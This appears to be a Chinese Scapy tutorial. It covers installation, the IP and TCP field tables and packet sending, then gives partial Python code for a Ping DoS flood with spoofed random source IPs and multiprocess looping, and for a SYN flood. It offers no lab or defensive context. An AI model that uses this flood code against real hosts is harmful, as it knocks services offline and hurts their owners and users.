介绍
- 首先给出官网。
Scapy
是用Python
编写的交互式数据包处理工具。
- 使用
Scapy
可以伪造或解码各种协议的数据包,在线发送它们,捕获它们,匹配请求和答复等等。
下载
- 由于是
Python
编写的,使用pip install
进行安装,这里使用清华源加速。
1
| pip3 install scapy -i https://pypi.tuna.tsinghua.edu.cn/simple
|
- 直接使用
scapy
命令打开,若显示无法导入相关库,则对其中缺失的相关包进行安装。
1 2
| INFO: Can't import matplotlib. Won't be able to plot. INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
|
使用
包配置
- 使用
TCP/IP
协议构造基本数据包,这里调用了Scapy
的内置函数IP()
和TCP()
。
注意:IP()
一定在TCP()
之前。
IP()
参数解析
参数 |
含义 |
默认值 |
version |
版本 |
4 |
ihl |
报头长度 |
None |
tos |
服务类型 |
0x0 |
len |
报文总长度 |
None |
id |
标识符 |
1 |
flags |
标记 |
NULL |
frag |
段偏移 |
0 |
ttl |
生存周期 |
64 |
proto |
协议 |
tcp |
chksum |
校验和 |
None |
src |
源IP 地址 |
127.0.0.1 |
dst |
目的IP 地址 |
127.0.0.1 |
TCP()
参数解析
参数 |
含义 |
默认值 |
sport |
源端口 |
ftp_data |
dport |
目的端口 |
http |
seq |
序号 |
0 |
ack |
确认号 |
0 |
dataofs |
数据偏移 |
None |
reserved |
保留位 |
0 |
flags |
控制功能 |
S |
window |
窗口大小 |
8192 |
chksum |
校验和 |
None |
urgptr |
紧急指针 |
0 |
options |
选项 |
[] |
- 根据需求设置数据包之后,使用
{PKT_NAME}.show()
可以查看报文信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= tcp chksum= None src= 192.168.239.128 dst= 110.242.68.4 \options\
sport= ftp_data dport= http seq= 0 ack= 0 dataofs= None reserved= 0 flags= S window= 8192 chksum= None urgptr= 0 options= []
|
包发送
- 使用
send()
函数发送数据包,该函数不返回响应。
1 2 3
| >>> send(pkt) . Sent 1 packets.
|
sendp()
等加了p
的函数作用于第二层,发送的是帧。
1 2 3 4 5 6 7 8 9
| >>> res, unans = sr(pkt) Begin emission: Finished sending 1 packets. * Received 1 packets, got 1 answers, remaining 0 packets >>> res <Results: TCP:1 UDP:0 ICMP:0 Other:0> >>> unans <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>
|
sr()
和sr1()
的区别在于,sr1()
只有一个返回值(Results
)。
Ping DoS
- 使用
Ping
进行DoS
攻击时,由于Ping
使用的是ICMP
协议,下面给出ICMP()
的参数解析。
ICMP()
参数解析
参数 |
含义 |
默认值 |
type |
消息类型 |
echo-request |
code |
代码 |
0 |
chksum |
校验和 |
None |
id |
标识 |
0x0 |
seq |
序号 |
0x0 |
Ping
攻击报文的设置比较简单,通过随机配置ICMP()
也能实现Ping DoS
的攻击效果。
- 结合
IP()
设置目标主机IP
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| if random_source ==True: source_ip = Random_IP()
ip_proto = IP(src = source_ip, dst = host, ttl = 1, id = id_ip) else: ip_proto = IP(dst = host, ttl = 1, id = id_ip) icmp_proto = ICMP(id = id_ping, seq = seq_ping) data = b'ping dos' pkt = ip_proto / icmp_proto / data *100 send(pkt)
|
- 在这基础上,要想达到效果,我们需要增加攻击报文的量。
- 通过循环重复攻击之外,我们采用多进程并发的方式增大攻击频率。
1 2 3 4 5 6 7 8 9 10
| def ping_concurrent(host, processes=5, random_source=True): pool = multiprocessing.Pool(processes=processes) while True: try: pool.apply_async(ping_times, (host, random_source)) except KeyboardInterrupt: pool.terminate()
|
SYN_Flood
- 多进程和重复次数的性质和
Ping DoS
一致,这里主要的区别在于把ICMP
协议换成了TCP
协议。
1 2 3 4 5 6 7 8
| src_port = randint(1,65535)
tcp_proto = TCP(sport = src_port, dport = port, flags = "S")
pkt = ip_proto / tcp_proto
|
- 其中
flags
变量表示了TCP
三次握手的不同状态,S
表示SYN
。